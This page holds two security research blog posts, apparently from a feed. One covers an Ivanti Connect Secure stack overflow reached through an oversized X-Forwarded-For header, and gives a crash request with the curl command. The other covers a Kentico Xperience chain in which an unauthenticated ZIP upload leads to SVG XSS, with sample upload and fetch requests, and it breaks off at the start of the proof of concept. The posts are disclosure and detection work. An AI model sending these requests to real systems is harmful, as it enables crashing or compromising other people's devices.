Normal view

Received before yesterday

Is The Sofistication In The Room With Us? - X-Forwarded-For and Ivanti Connect Secure (CVE-2025-22457)

4 April 2025 at 13:45
Is The Sofistication In The Room With Us? - X-Forwarded-For and Ivanti Connect Secure (CVE-2025-22457)

Is The Sofistication In The Room With Us? - X-Forwarded-For and Ivanti Connect Secure (CVE-2025-22457)

What's that Skippy? Another Ivanti Connect Secure vulnerability?

At this point, regular readers will know all about Ivanti (and a handful of other vendors of the same class of devices), from our regular analysis.

Do you know the fun things about these posts? We can copy text from previous posts about SSLVPNs:

This must be the first time real-world attackers have reversed patches, and reproduced a vulnerability, before some dastardly researchers released a detection artefact generator tool of their own. /s
At watchTowr's core, we're all about identifying and validating ways into organisations - sometimes through vulnerabilities in network border appliances - without requiring such luxuries as credentials or asset lists.
While full exploitation is sometimes required to make our point - our clients rely on watchTowr technology to rapidly tell them, within hours, if they're affected with 100% precision. When you don't have the luxury of time that would allow us to create a stable, 100% reliable PoC - ultra-reliable detection of a vulnerable system is just as good.

For those just tuning in, though, Ivanti Connect Secure is a 'next generation firewall', designed to sit on the border of your secure network and the Big Bad Internet, and keep out all the malicious traffic while allowing your friendly employees remote access via a VPN solution.

Their website claims they are 'trusted by 35,000 customers worldwide', and this combination of proliferation and a privileged network position makes their devices very tempting to attackers - by design, the devices are Internet-facing, and if an attacker can seize control of one, they have by design access to an internal network.

With that recap, let's return to our new vulnerability.

Known as CVE-2025-22457, this vulnerability has history and baggage—apparently, according to Ivanti themselves, Ivanti misidentified the vulnerability as a low-priority error condition that couldn't lead to a real-world security impact.

Straight out of Anchorman itself:

"The vulnerability is a buffer overflow with characters limited to periods and numbers, it was evaluated and determined not to be exploitable as remote code execution and didn't meet the requirements of denial of service," Ivanti said on Thursday.

"However, Ivanti and our security partners have now learned the vulnerability is exploitable through sophisticated means and have identified evidence of active exploitation in the wild. We encourage all customers to ensure they are running Ivanti Connect Secure 22.7R2.6 as soon as possible, which remediates the vulnerability."

Yikes.

Is The Sofistication In The Room With Us? - X-Forwarded-For and Ivanti Connect Secure (CVE-2025-22457)

Having misclassified it as such, they rewrote the offending code - not a bad idea in itself! - and distributed the patch as part of their update to 22.7R2.6, along with a whole heap of other updates (such as enabling some exploit mitigations - more on this later). This was back in February 2025, so hopefully - ha ha - everyone applied that update in a timely manner.

Cue ideas for the next pledge

In a land far away, an APT group observed the updated code - and summoning the power of sophistication known only in a cave in a mountain, figured out a way to exploit the vulnerability.

Our friends at Mandiant report that the vulnerability has been actively exploited in the wild since mid-March - with attackers achieving RCE to deploy backdoors.

As always, information is scarce - the only technical information available about the vulnerability is via Ivanti's patch note, which states:

The vulnerability is a buffer overflow with characters limited to periods and numbers, it was evaluated and determined not to be exploitable as remote code execution and didn’t meet the requirements of denial of service. However, Ivanti and our security partners have now learned the vulnerability is exploitable through sophisticated means and have identified evidence of active exploitation in the wild. We encourage all customers to ensure they are running Ivanti Connect Secure 22.7R2.6 as soon as possible, which remediates the vulnerability.

This is why they initially deemed the vulnerability 'unexploitable' - the vulnerable buffer can be overflowed only with digits and a full stop (or a 'period', for our friends over the pond).

Things are getting strange, we're starting to worry - in-the-wild exploitation of a vulnerability that has very little technical information available is never particularly fun.

It's time for us to swoop in and reveal all the gory technical details. It's the watchTowr effect. (Say this along to the sound of The Final Countdown; it works—trust us. We'll be performing it at RSA.)

Before we do, to know if you need to worry or not - here's Ivanti's list of affected products:

Is The Sofistication In The Room With Us? - X-Forwarded-For and Ivanti Connect Secure (CVE-2025-22457)

We'll be working with Ivanti Connect Secure 22.7r2.5, and also testing against the patched version of the codebase, 22.7r2.6.

It's worth reiterating that patches have been available since February, so if you're up-to-date, you've got nothing to worry about (although you may have delayed patching under the belief that there were no world-ending CVSS-9 CVEs in there).

Ivanti categorises the vulnerability as a stack-based buffer overflow that enables RCE:

A stack-based buffer overflow in Ivanti Connect Secure before version 22.7R2.6, Ivanti Policy Secure before version 22.7R1.4, and Ivanti ZTA Gateways before version 22.8R2.2 allows a remote unauthenticated attacker to achieve remote code execution.

Patch-Diffing

As usual, we eagerly fetched patched (22.7R2.6) and vulnerable (22.7R2.5) versions of the appliance, extracted their contents, and set about them with our favorite tools—Beyond Compare, IDA Pro, and Diaphora.

Our spidey senses told us that the webserver, named simply web, was responsible, so we looked there first.

Unfortunately, though, rather than the nice clean diff we were hoping for, we were greeted by thousands upon thousands of changed functions.

It seems that in addition to fixing (a fair amount of) issues, Ivanti also took the opportunity to harden its codebase, enabling some previously disabled exploit mitigations.

In the wider sense, this is a good thing—we've been bemoaning the lack of basic exploit mitigations in this class of devices for a long time, so it's great to see vendors finally taking basic steps to toughen up their devices.

However, it makes our part in the game a little more complicated—the exploit mitigations they enabled caused changes to occur in many functions, making it harder to pick out which function(s) have been modified as part of the fix.

Nevertheless, we did the necessary legwork, and soon zeroed in on a function that seemed to be named WebRequest::dispatchRequest. This function seemed to have been completely rewritten and also seemed to bore simple spelling errors - two very strong indicators of poor code quality.

As you may recall, Ivanti advised that the vulnerability is a stack buffer overflow, but that the data that overwrites the buffer is restricted to the digits 0 through 9 and .. Our immediate thought was that perhaps this payload could come from a version string, but taking a look through the function that drew our attention, we can see a filter for exactly these functions:

headerValue = httpHeader->Value;
ipLen = strspn(headerValue, "01234567890.");
v58 = alloca(ipLen + 2);
*(_DWORD *)&v176[4] = headerValue;
strlcpy(&v178, *(_DWORD *)&v176[4], ipLen + 1);
strlcpy(s, headerValue, ipLen + 1);

What's going on here?

We're first, getting some HTTP header, and then the router applies the strspn function.

This is 'string span' function, which will return the number of characters in the string that match the argument - in this case, the number of characters that are in the range 0 to 9 or ..

Then, it'll allocate a buffer, and perform some copying of the header payload (at some weird offset, it seems).

This is certainly some dodgy-looking code - obscure C functions and pointer manipulation often make for nice crashes.

We don't know, though, how to reach this function, although it's a fair guess that it handles HTTP requests of some form. For example, which header is the code processing at this point?

Well, directly above this snippet, we can see that it comes from another function:

char* headerNameToFind = sub_5D490();
headerNameInRequest = httpHeader->HeaderName;
if ( !strcasecmp(headerNameInRequest, headerNameToFind) )
{
  ...

Following the trail to sub_5D490 reveals a stub that takes a value from a global variable:

add     ecx, (offset off_169000 - $)
mov     eax, ds:(dword_16BEF0 - 169000h)[ecx]

It turns out that global is set from the Ivanti's configuration.

res = DSUtilConfig::getConfigValue(var_818, "CUSTOM_IP_FIELD")
dword_16BEF0 = strdup(res)

It looks like this functionality is intended to allow clients to specify their IP address via a custom, end-user-set HTTP header. That header is set to a default value during installation:

$ grep CUSTOM_IP_FIELD -ir .
./root/home/perl/DSDefaults.pm:    DSUtilConfig::setConfigValue("CUSTOM_IP_FIELD", "X-Forwarded-For");

Oh, that's simple - the header is simply X-Forwarded-For.

Let's go ahead and request a page from the appliance, supplying a large value for the X-Forwarded-For header. Surely nothing bad will happen, right? No-one makes vulnerabilities that simple.

Especially not vendors of hardened network border devices (cough, cough).

$ curl -v --insecure https://HOST --header X-Forwarded-For:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
*   Trying HOST:443...
* Connected to HOST (HOST) port 443
* using HTTP/1.x
> GET / HTTP/1.1
> Host: HOST
> User-Agent: curl/8.10.1
> Accept: */*
> X-Forwarded-For:1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
>
* Request completely sent off
* schannel: server closed abruptly (missing close_notify)
* closing connection #0
curl: (56) Failure when receiving data from the peer

That's weird. The appliance closed the connection without responding.

Let's examine the appliance's console and see if it gives us any clues.

Is The Sofistication In The Room With Us? - X-Forwarded-For and Ivanti Connect Secure (CVE-2025-22457)

Oh. That settles it, then. We've reproduced the overflow.

Exploitation

Exploitation is always a tricky subject. Vendors want to minimize disruption to their userbase and avoid unnecessary patching, but they also need to balance that with the userbase's safety.

In fairness - sometimes, if a vulnerability has real prerequisites, it's a judgment call on whether the vulnerability is exploitable or not.

It appears that this is what happened here - Ivanti made a judgment call, believing that exploiting the vulnerability, given the requirement that the payload must comprise only of 0123456789., was impossible.

Unfortunately, an advanced attacker seems to have proved them wrong.

This complexity is reflected in the vulnerability's CVSS rating: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H, where the AC:H specifies an Attack Complexity of High, due to the complexity of writing a successful exploit.

Given the situation, we've decided that the above 'segfault' PoC is enough for administrators to confirm that their devices have been patched—a vulnerable box will respond by closing the connection immediately, while a patched box will respond with an HTTP 400.

Summary

It's 'another day, another SSLVPN appliance vulnerability', but with a few extra additions.

Firstly, the fact that the vulnerability was miscategorized is interesting in itself. Those who are hunting such vulnerabilities are encouraged to make a habit of reading device patch-notes and correlating these with diff'ed patches, even in the case of large and unwieldy patchsets, like this one.

The fact that an attacker was sufficiently motivated to do this, even though almost all functions in the binary had changed, and was also able to determine that the vulnerability was exploitable, speaks volumes about how motivated modern SSLVPN appliance attackers are.

Secondly, the other thing that stands out about the exploit is the sheer simplicity of exploitation.

Let me show a faulting HTTP request again:

POST / HTTP/1.1
X-Forwarded-For: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111

This is an incredibly simple request, and it is somewhat surprising that Ivanti didn't find the vulnerability during routine fuzz testing. One would imagine that even the most basic of HTTP fuzzers would trigger a crash.

The one 'silver lining' to this vulnerability is that patches have been available for some time and that most administrators will have updated their devices since February, as a matter of course.

While Ivanti's miscategorisation meant that administrators weren't advised to update with urgency - until now - many will have updated anyway.

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

We know what you’re waiting for - this isn’t it. Today, we’re back with more tales of our adventures in Kentico’s Xperience CMS. Due to it’s wide usage, the type of solution, and the types of enterprises using this solution - any serious vulnerability, or chain of vulnerabilities to serious impact, is no bueno - and so we have more to tell you about today.

As you may remember from our previous blog post, Kentico’s Xperience CMS product is a CMS solution aimed at enterprises but widely used by organizations of various sizes. In our previous blog post, we walked through the discovery of numerous vulnerabilities, ultimately finding and chaining multiple Authentication Bypass vulnerabilities with a post-authentication Remote Code Execution vulnerability.

We’re keen to walk through another vulnerability chain we put together in February - going from a Cross-Site Scripting (XSS) vulnerability to full Remote Code Execution on a target Kentico Xperience CMS install - before reporting to Kentico themselves for remediation.

We can hear some of you yelling, “Laaaaaaaaaaaame!” This is for one simple fact—XSS vulnerabilities (and client-side vulnerabilities in general) are typically not our focus. Bluntly, we don’t see real-world threat actors exploiting XSS at scale in real-world incidents.

Editors note: Please do not take this as a challenge to explain computers to us and how XSSs “acshully” are super exciting and relevant to your local ransomware gang. We get it - you defend your home network from APTs wielding XSSs and we’d encourage you to keep this delusion to your ~/diary.txt.

While we honestly didn’t see ourselves writing about XSSs this year, life never ceases to surprise us.

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

There are two reasons why we decided to write about this chain today:

  1. The identified XSS is interesting from a technical perspective, relying on two fairly unusual (but minor) server-side flaws, which can be combined to achieve XSS.
  2. Within Kentico’s Xperience CMS, privileged users have access to extremely sensitive functionality (as per most CMSs). Theoretically, this functionality could be available to us via the XSS, and thus, we have a potential path to RCE.

Once again, we would like to highlight that Kentico was a pleasure to work with and incredibly professional—as indicated in the speed at which Kentico has resolved issues highlighted to them. This doesn’t just make things easier for us (which is arguably completely irrelevant), but most importantly, it demonstrates a real commitment to acting in the best interests of their customer base.

Now that we’ve justified ourselves to the Internet, we can continue.

Step 1 - Unauthenticated Resource Fetching Handler

When we review any enterprise code base, there are a number of vulnerability primitives that we look for - ultimately, we don’t know what we’ll find until we look.

While looking through the Kentico Xperience CMS codebase and mapping out unauthenticated functionality, we immediately stumbled into a handler that made us feel uneasy - taking file paths, from unauthenticated users, and returning the contents of said files.

Kentico Xperience exposes the CMS.UIControls.GetResourceHandler handler through /CMSPages/GetResource.ashx endpoint.

This handler is accessible without authentication, and its purpose is very similar to the resource handlers across all the software. As discussed, it allows unauthenticated users to fetch non-sensitive resources, like images.

Could be useful?

Let’s have a look at the code:

public void ProcessRequest(HttpContext context)
{
	if (!DebugHelper.DebugResources)
	{
		DebugHelper.DisableDebug();
		OutputFilterContext.LogCurrentOutputToFile = false;
	}
	if (!context.Request.QueryString.HasKeys())
	{
		GetResourceHandler.SendNoContent(context);
	}
	if (QueryHelper.Contains("scriptfile"))
	{
		GetResourceHandler.ProcessJSFileRequest(context);
		return;
	}
	if (QueryHelper.Contains("image"))
	{
		GetResourceHandler.ProcessImageFileRequest(context); // [1]
		return;
	}
	if (QueryHelper.Contains("file"))
	{
		GetResourceHandler.ProcessFileRequest(context);
		return;
	}
	if (QueryHelper.Contains("scriptmodule"))
	{
		GetResourceHandler.ProcessScriptModuleRequest(context, QueryHelper.GetString("scriptmodule", null));
		return;
	}
	if (!string.IsNullOrEmpty(QueryHelper.GetString("newslettertemplatename", "")))
	{
		new ActionResultRouteHandler<GetNewsletterCssService>().GetHttpHandler(CMSHttpContext.Current.Request.RequestContext).ProcessRequest(context);
		return;
	}
	CMSCssSettings cmscssSettings = new CMSCssSettings();
	cmscssSettings.LoadFromQueryString();
	GetResourceHandler.ProcessRequest(context, cmscssSettings);
}

As you can see, we fall into a group of if statements based on whether the URI sent to this handler contains various parameters, such as image or file. For instance, if your URL contains a file parameter, the ProcessFileRequest method is called with the context of the HTTP request.

Let's consider the ProcessImageFileRequest function that is called for URLs containing an image parameter with the GetResource.ashx endpoint ([1]) - you likely don’t need to be a genius to deduce that this functionality is designed to allow us to fetch an image.

In order to reach it, we need to send a sample HTTP request like this:

GET /CMSPages/GetResource.ashx?image=/path/to/file

For more detail, we can have a look at the code:

private static void ProcessImageFileRequest(HttpContext context)
{
	string text = QueryHelper.GetString("image", string.Empty);
	int num = text.IndexOf("?", StringComparison.Ordinal);
	if (num >= 0)
	{
		text = text.Substring(0, num);
	}
	if (!text.StartsWith("/", StringComparison.Ordinal) && !text.StartsWith("~/", StringComparison.Ordinal)) // [1]
	{
		text = "~/App_Themes/Default/Images/" + text; // [2]
		if (!CMS.IO.File.ExistsRelative(text))
		{
			CMS.IO.Path.GetMappedPath(ref text);
		}
	}
	bool useCache = QueryHelper.GetString("chset", null) == null;
	GetResourceHandler.ProcessPhysicalFileRequest(context, text, "##IMAGE##", false, useCache);
}

At [1], the code checks if the user-supplied path provided in the value of the image parameter starts with / or ~/.

If not, it appends the attacker-controlled path to the ~/App_Themes/Default/Images/ path at [2].

We have some “expected” Absolute Path traversal here. We can start our path with / and we can potentially point the code to any location (it will soon become clear, that it’s not entirely true).

We will eventually reach the GetResourceHandler.ProcessPhysicalFileRequest method with the potentially modified path. This is quite a long method, thus we will show you the most interesting fragments only.

private static void ProcessPhysicalFileRequest(HttpContext context, string path, string fileExtension, bool minificationEnabled, bool useCache)
{
	string text = URLHelper.GetPhysicalPath(URLHelper.GetVirtualPath(path)); // [1]
	GetResourceHandler.CheckRevalidation(context, text); // [2]
	//...
			if (fileExtension == "##IMAGE##" || fileExtension == "##FILE##")
			{
				string extension = CMS.IO.Path.GetExtension(text);
				if (fileExtension == "##IMAGE##" && ImageHelper.IsImage(extension)) // [3]
				{
					fileExtension = extension;
				}
				else if (fileExtension == "##FILE##" && GetResourceHandler.mAllowedFileExtensions.Contains(extension))
				{
					fileExtension = extension;
				}
				cmsoutputResource = GetResourceHandler.GetFile(path, fileExtension, false, true); // [4]
			}
	//...
}

At [1] and [2], as you’d expect, path validation and modification methods are called. They take the processed path delivered through the image parameter and perform operations.

Without going too deep, and as a brief tl;dr, these methods won't allow you to traverse past the webroot of the application. Simply - it means that we can potentially reach any file, but this file needs to be located within the webroot of the application.

This is common .NET application behaviour, and to illustrate this we’ve walked through some examples. In the context of these examples, let’s assume that our webroot path is: C:\\inetpub\\wwwroot\\Kentico13\\CMS:

  • image=../../../../../../../../../Windows/win.ini - Prohibited, as we are reading a file outside of C:\\inetpub\\wwwroot\\Kentico13 directory.
  • image=wat.png - Allowed, as we are reading a file that should reside inside of the webroot
  • image=/App_Data/wat.png - Allowed, as we are still inside the webroot.

At [3], IsImage method is used to verify the file extension.

At [4], the GetResourceHandler.GetFile is called.

Now, life is never as easy as just ‘read a file’ and true to form, we can see a list of extensions whitelisted for reading via this functionality in the default Kentico configuration:

ImageHelper.mImageExtensions = new HashSet<string>(new string[]
{
	"bmp",
	"gif",
	"ico",
	"png",
	"wmf",
	"jpg",
	"jpeg",
	"tiff",
	"tif",
	"webp",
	"svg"
}, StringComparer.OrdinalIgnoreCase);

Luckily, we are reaching some last fragments of the source code for this part. In the GetFile method, we have several interesting lines of code:

private static CMSOutputResource GetFile(string path, string extension, bool resolveCSSUrls, bool binary)
{
	//...
	if (binary)
	{
		array = GetResourceHandler.ReadBinaryFile(physicalPath, extension); // [1]
	}
	//..
	if (!(a == ".css"))
	{
		if (!(a == ".js"))
		{
			cmsoutputResource.ContentType = MimeTypeHelper.GetMimetype(extension, "application/octet-stream"); // [2]
		}
		//...
	}
	else
	{
		cmsoutputResource.ContentType = "text/css; charset=utf-8";
	}
	return cmsoutputResource;
}

At [1], the code reads the content of our file with the ReadBinaryFile method:

private static byte[] ReadBinaryFile(string path, string fileExtension)
{
	//..
	try
	{
		result = CMS.IO.File.ReadAllBytes(path);
	}
	//..
	return result;
}

Then at [2], the functionality dynamically retrieves the MIME type, based on the file extension.

Please accept our sincere apologies for spamming you with a decent amount of the source code. It was important contextually to walk through the main flow and other aspects of this handler. Now, we can summarize.

  1. GetResourceHandler allows you to read files from the Kentico webroot directory (and its child directories).
  2. You have several processors available: file, image and others.
  3. The code always verifies the file extension and the list of allowed extensions depends on the processor selected.

Those who deal with application security likely noticed that svg is an allowed extension for image processing (also allowed in the file processor).

TL;DR - svg extensions can be used to perform XSS - you can provide <script> tags and more within an SVG file, and as long as a proper Content-Type is returned by the application, the browser will execute the contents.

At this stage, a small light bulb appeared in our heads. What if we can:

  • Upload a malicious SVG file.
  • And use this GetResourceHandler to fetch the file?

As previously mentioned, the HTTP response Content-Type provided by the application is determined automatically based on the extension of the file requested - due to the dynamic MIME type mapping implemented in the handler.

It basically means that if we fetch an existing svg file with this sample HTTP Request:

GET /CMSPages/GetResource.ashx?image=Iexist.svg HTTP/1.1
Host: hostname
Connection: keep-alive

The response will contain the Content-Type: image/svg+xml header.

As we discussed above, with such a Content-Type, most browsers will execute JavaScript contained within an SVG file leading us to XSS.

While we spotted this primitive fairly quickly when reviewing the Kentico code base, we assumed no unauthenticated attacker would be able to actually write an arbitrary SVG file to the webroot.

Thus, we said “meh” and moved on with our lives.

Step 2 - Temporary File Upload Primitive

Life is brutal though. When you look for the missing pieces of a potential RCE vulnerability chain - the law of vuln research tells you that you will not succeed. If you don’t care and don’t bother, the same law of vuln research gives you everything you need.

A little while later, and more digging through handlers that were available to unauthenticated users - CMS.DocumentEngine.Web.UI.ContentUploader caught our attention.

File upload possibilities are one of the most popular ways to achieve Remote Code Execution, and thus we were forced to investigate it.

For brief context, this handler can be reached without any authentication through the /CMSModules/Content/CMSPages/MultiFileUploader.ashx endpoint.

We could say a lot about this handler (really, a lot). As always, we value your sanity and are making a purposeful attempt to keep details here succinct.

ContentUploader is used to upload files (surprise), but there are strong checks on the extension types once again. This includes a whitelist-like check that contains the following extensions by default:

pdf, doc, docx, ppt, pptx, xls, xlsx, xml, bmp, gif, jpg, jpeg, png, wav, 
mp3, mp4, mpg, mpeg, mov, avi, rar, zip, txt, rtf, webp

As mentioned previously, we know that an attacker that can upload SVG files can trivially achieve XSS - however, it is plain as day above that the SVG extension is not in this list of permitted extensions and thus this handler appeared to be useless for our desired attack scenario at this moment.

To be honest, we still didn’t care at this stage. As we’d already discussed, XSS really doesn’t register, and we were really focused on more trivial Remote Code Execution paths.

However, let’s continue our analysis of this handler. We can reach the handler with the following sample HTTP Request:

POST /KCMSModules/Content/CMSPages/MultiFileUploader.ashx HTTP/1.1
Host: hostname
Content-Length: X
Content-Type: application/octet-stream

content

Let’s see how it works:

public void ProcessRequest(HttpContext context)
{
	try
	{
		UploaderHelper uploaderHelper = new UploaderHelper(context); // [1]
		string startingPath = context.Server.MapPath("~/");
		DirectoryHelper.EnsureDiskPath(uploaderHelper.FilePath, startingPath);
		if (uploaderHelper.Canceled)
		{
			uploaderHelper.CleanTempFile();
		}
		else
		{
			MediaSourceEnum sourceType = uploaderHelper.SourceType;
			if (sourceType <= MediaSourceEnum.DocumentAttachments)
			{
				this.CheckAttachmentUploadPermissions(uploaderHelper);
			}
			bool flag = uploaderHelper.ProcessFile(); // [2]
			//...
		}
	}
	//...
}

At [1], the UploaderHelper is initialized and this is a crucial step.

The construction of this method defines and sets multiple properties, based on values provided within the HTTP request query string.

Fragments of the constructor can be seen below:

internal UploaderHelper(HttpContextBase context)
{
	this.Message = string.Empty;
	this.AfterScript = string.Empty;
	this.mCtx = context;
	this.mFileName = ValidationHelper.GetString(this.mCtx.Request.QueryString["Filename"], "", null);
	this.mInstanceGuid = ValidationHelper.GetGuid(this.mCtx.Request.QueryString["InstanceGuid"], Guid.Empty, null);
	this.mComplete = ValidationHelper.GetBoolean(this.mCtx.Request.QueryString["Complete"], false, null);
	//...
}

As you can see, an unauthenticated attacker is able to set some of those properties (like the ones above), although the vast majority of them cannot be set without authentication, as long as you’re not aware of a “secret string” (this seems to be a real secret this time). Additional checks do exist, but these are not relevant to our work today and thus we’re ignoring this.

However, what is important to note is that these restrictions truly do constrain the possibilities available to an unauthenticated attacker—never the less, it’s hard to discourage us.

At [2], some processing is performed with the ProcessFile method.

Let’s stop here:

public bool ProcessFile()
{
	try
	{
		this.IsExtensionAllowed(); // [1]
		if (this.GetBytes)
		{
			CMS.IO.FileInfo fileInfo = CMS.IO.FileInfo.New(this.FilePath);
			this.mCtx.Response.Write(fileInfo.Exists ? fileInfo.Length.ToString() : "0");
			this.mCtx.Response.Flush();
			return false;
		}
		using (CMS.IO.FileStream fileStream = (this.StartByte > 0L) ? CMS.IO.File.Open(this.FilePath, CMS.IO.FileMode.Append, CMS.IO.FileAccess.Write) : CMS.IO.File.Create(this.FilePath)) // [2]
		{
			this.CopyDataFromRequestToFileStream(this.mCtx.Request, fileStream); // [3]
			//...
		}
	}
	//...
}

At [1], we have the file extension check.

At [2], the FileStream is being created on the basis of FilePath property.

At [3], the CopyDataFromRequestToFileStream is used, to write the content of the POST request body to the file stream initialized at [2].

public string FilePath
{
	get
	{
		string text = this.InstanceGuid.ToString();
		return DirectoryHelper.CombinePath(new string[]
		{
			UploaderHelper.TempPath, 
			text.Substring(0, 2),
			text,
			this.FileName
		}); 
	}
}

As we can see, the file path is being created with the DirectoryHelper.CombinePath.

This method implements protections against path traversal, but this is not relevant to us - what you can see though is that the path starts with a temporary directory (UploaderHelper.TempPath).

The next two fragments of the path are based on the InstanceGuid and FileName properties, which we can control through the query string (see the previously highlighted fragment of the UploaderHelper constructor)!

Side note (and extremely important note): If you don’t provide the InstanceGuid, it will default to a GUID consisting of zeros only

Let’s take stock - at this point, we appear to be able to:

  • Write files of a specific subset of permitted file extensions
  • To a directory that begins with a temporary directory specified in the Kentico codebase.

Given this is a temporary file upload function though, it’s natural to be concerned that files uploaded here are removed instantly after they have been processed.

To see if this concern is real, let’s take a look at a final fragment of the ContentUploader.ProcessRequest:

//...
bool flag = uploaderHelper.ProcessFile();
if (uploaderHelper.Complete && flag) // [1]
		{
			switch (uploaderHelper.SourceType)
			{
			case MediaSourceEnum.Attachment:
			case MediaSourceEnum.DocumentAttachments:
				this.HandleAttachmentUpload(uploaderHelper, context);
				break;
			case MediaSourceEnum.PhysicalFile:
				this.HandlePhysicalFilesUpload(uploaderHelper, context);
				break;
			case MediaSourceEnum.MetaFile:
				this.HandleMetafileUpload(uploaderHelper, context);
				break;
			}
			try
			{
				uploaderHelper.CleanTempFile(); // [2]
			}
			catch (Exception ex)
			{
				Service.Resolve<IEventLogService>().LogException("Uploader", "ProcessRequest", ex, 0, "Cannot delete temporary file.", null);
			}
		}
	//...

At [2], the temporary file that we write to the file system is removed. However, we never reach this line, if we don’t fulfil the conditions specified at [1].

Put simply, if uploadHelper.Complete is false, we never reach the file removal method.

Yes, you guessed it - we can control this property! Regardless though, even if we couldn’t, it defaults to false.

this.mComplete = ValidationHelper.GetBoolean(this.mCtx.Request.QueryString["Complete"], false, null);

Therefore, and to illustrate this - to upload a temporary file, we can execute the following sample HTTP Request:

POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename=myfile.txt&Complete=false HTTP/1.1
Host: hostname
Content-Length: 6
Content-Type: application/octet-stream

myfile

As a result, we have the file uploaded to the ~\\App_Data\\CMSTemp\\MultiFileUploader\\00\\00000000-0000-0000-0000-000000000000 path:

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

You likely noticed that the GUID used in the file path is entirely 0’s - this is because, as mentioned above, if we don’t provide InstanceGuid, 0’s are defaulted to putting our file in an entirely predictable location.

Great, we can upload some files!

But, we still don’t have a path to trivial Remote Code Execution and even if we wanted to stretch to the XSS scenario described before - SVG is still not on the list, however much we stare at the code.

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

Fortunately, we have omitted one important detail about theGetResourceHandler method - let us explain now.

Step 3 - Custom File Handler

Let’s recap where we are very briefly:

  • We reviewed the unauthenticated GetResourceHandler handler, which allows us to fetch certain resources (like images) from the CMS webroot.
  • This includes the ability to read files with an SVG extension, which could lead to the XSS (if we could write our own SVG file)
  • We identified the unauthenticated ContentUploader file upload handler. It allows us to drop files to the temporary upload directory, which happens to be located within the webroot.
  • However, this handler only allows files to be uploaded that have a whitelisted extension - and svg is not allowed.

Life goes on, and research continues. It is fairly common to find ‘bugs’ that aren’t quite ‘vulnerabilities’ and that’s life.

Given a bit more thought, a line between the bugs suddenly appeared in our constrained minds and we realized that there is a possibility we might be further along in solving this than we thought.

Visualization straight from our mind, with help from our in-house design team (this is a lie they will murder us if we suggest this is their work):

XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

Back to the GetResourceHandler we go!

At the end of step 1, we showed you that the file contents are being ultimately retrieved with this method:

result = CMS.IO.File.ReadAllBytes(path);

You may not have noticed, but this is not the regular .NET File.ReadAllBytes method!

It is, of course, a custom wrapper implemented by Kentico: CMS.IO.File.ReadAllBytes. There are several things happening in it, but you need to know only one of them.

This method internally tries to retrieve something called StorageProvider. Among a few things, this provider defines how file reads are handled/performed.

For example, there is GetStorageProviderInternal, which is responsible for the provider retrieval:

protected virtual AbstractStorageProvider GetStorageProviderInternal(string path)
{
	if (string.IsNullOrEmpty(path))
	{
		return AbstractStorageProvider.DefaultProvider;
	}
	int num = (this.MappedPath != null) ? this.MappedPath.Length : 0;
	if (path.Length > num)
	{
		AbstractStorageProvider result;
		if ((result = this.FindMappedProvider(path)) == null) // [1]
		{
			result = (this.TryZipProviderSafe(path, num) ?? this); // [2]
		}
		return result;
	}
	return this;
}

At [1], it will use a MappedProvider . If it fails (retrieves no file), it will fallback to the ZipProvider at [2].

This is super interesting!

Do you remember that our temporary file upload primitive allows us to upload ZIP files? Does this mean that we can upload a ZIP file to the temporary location provided by the upload handled, to our predictable location, and then try to read it with the custom ZipProvider provided by Kentico?

We will skip a full review of the code for this ZIP handler, but we do want to highlight the important items here.

Let’s assume that we provide the following path:

/some/path/to/[poc.zip]/poc.svg

Kentico’s custom file handler has logic to read ZIP files for us in memory, and thus will perform the following operations:

  • It will read the ZIP file from the /some/path/to/poc.zip path into memory.
  • Then, it will retrieve the poc.svg file from this ZIP file!

This is quite an interesting file handler/wrapper, as it allows you to read files stored in the ZIP file. Can you see where this is going? We can abuse this to, from an unauthenticated perspective, upload a ZIP file that contains an SVG file, and read it!

The entire attack scenario is as follows:

  • Create a malicious poc.svg file.
  • Create a poc.zip, which stores poc.svg.
  • Upload poc.zip to a temporary location.
  • Use the resource handler to read the ~/temp/location/[poc.zip]/poc.svg.
  • The file extension is svg , which is allowed.
  • MIME type is set on the basis of the svg extension.
  • XSS exploited!
XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

Proof of Concept

Let’s translate the previous points into some actionable items, so you can understand what we’re talking about:

  1. Create a sample poc.svg
<?xml version="1.0" standalone="no"?>
